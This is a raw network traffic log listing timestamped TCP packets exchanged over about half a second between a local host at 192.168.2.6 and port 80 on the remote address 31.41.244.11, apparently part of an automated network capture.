Nov 23, 2024 13:28:11.107181072 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.110194921 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.110265970 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.110335112 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.110398054 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.113843918 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.113892078 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.113955975 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.114013910 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.117605925 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.117652893 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.117660999 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.117707014 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.121228933 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.121368885 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.121431112 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.121431112 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.125149012 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.125251055 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.125284910 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.125318050 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.128665924 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.128715038 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.128796101 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.128881931 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.132309914 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.132364988 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.132384062 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.132421970 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.135987997 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.136043072 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.136085033 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.136156082 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.139699936 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.139767885 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.139779091 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.139908075 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.143311024 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.143459082 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.143511057 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.147059917 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.147141933 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.147166014 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.147239923 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.150703907 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.150777102 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.150840044 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.150896072 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.154345036 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.154390097 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.154501915 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.154596090 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.158052921 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.158138037 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.158165932 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.158201933 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.161710978 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.161781073 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.161828041 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.161878109 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.273050070 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.273128986 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.273129940 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.273171902 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.274363041 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.274408102 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.274476051 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.274523020 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.277753115 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.277798891 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.277875900 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.278013945 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.281383038 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.281419992 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.281455040 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.281469107 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.284224987 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.284284115 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.284329891 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.284456015 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.287478924 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.287604094 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.287632942 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.287653923 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.290021896 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.290146112 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.290164948 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.290214062 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.292284012 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.292383909 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.292396069 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.292448997 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.295255899 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.295340061 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.295382023 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.295455933 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.298362970 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.298460007 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.298512936 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.298593044 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.301242113 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.301327944 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.301362038 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.301440001 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.304198980 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.304339886 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.304399014 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.307188034 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.307316065 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.307329893 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.307384014 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.310173035 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.310229063 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.310291052 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.310353041 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.313157082 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.313244104 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.313287973 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.313342094 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.316174030 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.316256046 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.316306114 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.316391945 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.319190979 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.319299936 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.319344997 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.319525957 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.322149992 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.322227955 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.322254896 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.322310925 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.325108051 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.325164080 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.325221062 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.325284004 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.328094959 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.328152895 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.328236103 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.328319073 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.331157923 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.331254959 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.331306934 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.334064007 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.334124088 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.334192038 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.334255934 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.337054968 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.337111950 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.337167978 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.337270021 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.340025902 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.340090036 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.340156078 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.340209007 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.343028069 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.343081951 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.343199968 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.343250990 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.346041918 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.346138954 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.346158981 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.346216917 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.349005938 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.349066973 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.349122047 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.349165916 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.352035999 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.352091074 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.352135897 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.352248907 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.354912043 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.354971886 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.355017900 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.355063915 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.357912064 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.357958078 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.358017921 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.358105898 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.360904932 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.360969067 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.361021042 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.361139059 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.363877058 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.363934040 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.363979101 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.364044905 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.366848946 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.366945028 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.367011070 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.367058039 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.369854927 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.369904995 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.369956970 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.372849941 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.372919083 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.372951031 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.372997046 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.375802040 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.375875950 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.375915051 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.375971079 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.378806114 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.378865004 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.378932953 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.378978014 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.381804943 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.381858110 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.381894112 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.382110119 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.384787083 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.384866953 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.384891987 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.384964943 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.387820005 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.387918949 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.387996912 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.388079882 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.390938997 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.391061068 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.391072035 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.391159058 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.393754959 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.393826008 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.393862963 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.393881083 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.396729946 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.396846056 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.396903038 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.396961927 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.399708986 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.399761915 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.399827957 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.399902105 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.402721882 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.402856112 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.403011084 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.403064966 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.405670881 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.405721903 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.405822992 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.405884981 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.408648968 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.408718109 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.408782959 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.408833981 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.411617994 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.411734104 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.472198009 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.472300053 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.472307920 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.472379923 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.473345041 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.473398924 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.473444939 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.473546028 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.475904942 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.475974083 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.475992918 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.476061106 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.478029966 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.478085041 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.478161097 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.478233099 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.480424881 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.480469942 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.480568886 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.480654001 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.483525038 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.483592987 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.483725071 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.483833075 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.487884045 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.487955093 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.488086939 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.488147020 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.489969015 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.490021944 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.490024090 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.490083933 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.491547108 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.491607904 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.491638899 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.491689920 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.493376017 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.493429899 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.493434906 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.493489027 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.495147943 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.495184898 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.495213032 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.495243073 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.496777058 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.496845961 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.496891022 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.498812914 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.498898029 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.498929977 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.498990059 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.501097918 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.501276970 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.501283884 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.501331091 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.503377914 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.503499031 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.503501892 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.503551960 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.505659103 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.505764008 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.505764961 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.505861998 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.507987976 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.508042097 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.508080006 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.508102894 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.510262012 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.510325909 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.510397911 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.510452986 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.512520075 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.512583017 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.512656927 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.512820959 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.514799118 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.514872074 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.514920950 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.514976025 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.517143965 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.517184973 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.517239094 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.519077063 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.519165993 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.519239902 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.519289970 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.521011114 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.521063089 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.521087885 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.521156073 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.522911072 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.522969961 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.523019075 CET	80	49729	31.41.244.11	192.168.2.6
